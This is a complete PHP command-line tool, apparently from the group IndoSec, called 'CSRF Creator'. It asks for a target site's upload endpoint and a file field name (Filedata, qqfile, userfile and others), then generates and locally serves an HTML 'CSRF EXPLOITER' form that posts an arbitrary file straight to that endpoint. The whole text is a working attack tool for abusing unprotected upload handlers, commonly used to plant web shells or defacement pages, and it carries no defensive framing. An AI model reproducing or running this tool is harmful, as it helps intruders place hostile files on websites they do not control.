CSRF Creator

<?php
system(clear);

        print "\e[91m
 ▄▄· .▄▄ · ▄▄▄  ·▄▄▄     ▄▄· ▄▄▄  ▄▄▄ . ▄▄▄· ▄▄▄▄▄      ▄▄▄
▐█ ▌▪▐█ ▀. ▀▄ █·▐▄▄·    ▐█ ▌▪▀▄ █·▀▄.▀·▐█ ▀█ •██  ▪     ▀▄ █·
██ ▄▄▄▀▀▀█▄▐▀▀▄ ██▪     ██ ▄▄▐▀▀▄ ▐▀▀▪▄▄█▀▀█  ▐█.▪ ▄█▀▄ ▐▀▀▄
▐███▌▐█▄▪▐█▐█•█▌██▌.    ▐███▌▐█•█▌▐█▄▄▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌
·▀▀▀  ▀▀▀▀ .▀  ▀▀▀▀     ·▀▀▀ .▀  ▀ ▀▀▀  ▀  ▀  ▀▀▀  ▀█▄▀▪.▀  ▀
            \e[93mCSRF Creator Yang Dibuat Saat Gabut :v
                      { IndoSec }\n\n";
echo "\e[92mNote : Post File, Type : Filedata / dzupload /
dzfile / dzfiles / file / ajaxfup / files[] / qqfile /
userfile / etc\n\n";
echo "\e[36mEx : http://site.com/path/upload.php\n";
echo "\e[37mURL : ";
$a = trim(fgets(STDIN));
echo "POST FILE : ";
$b = trim(fgets(STDIN));
$data = "<!DOCTYPE html>
<html>
<head>
    <title>CSRF Creator By { IndoSec }</title>
    <link href='https://fonts.googleapis.com/css?family=Gloria+Hallelujah' rel='stylesheet'>
    <link href='https://fonts.googleapis.com/css?family=Kalam' rel='stylesheet'>

</head>
<style type='text/css'>
    html {
        background-color: black;
        color: white;
        font-family: Kalam;
    }
    h1 {
        font-family: Gloria Hallelujah;
    }

</style>
<body>
<center>
    <font color='white' face='Gloria Hallelujah' size='7'>CSRF EXPLOITER</font><br>
    =============== I N F O ===============<br>
    SITE : ".$a."<br>
    POST FILE : ".$b."<br>
    =======================================<br>
<form method='post' target='_blank' action='".$a."' enctype='multipart/form-data'><input type='file' name='".$b."'><input type='submit' name='file' value='Upload File'></form>
</center>
</body>
</html>";
$c = fopen('index.html', 'a');
fwrite($c, $data);
fclose($c);
echo "Mohon Tunggu...";
sleep(2);
echo "\nSilahkan Buka http://localhost:1337\n";
sleep(3);
system('php -S localhost:1337');
 ?>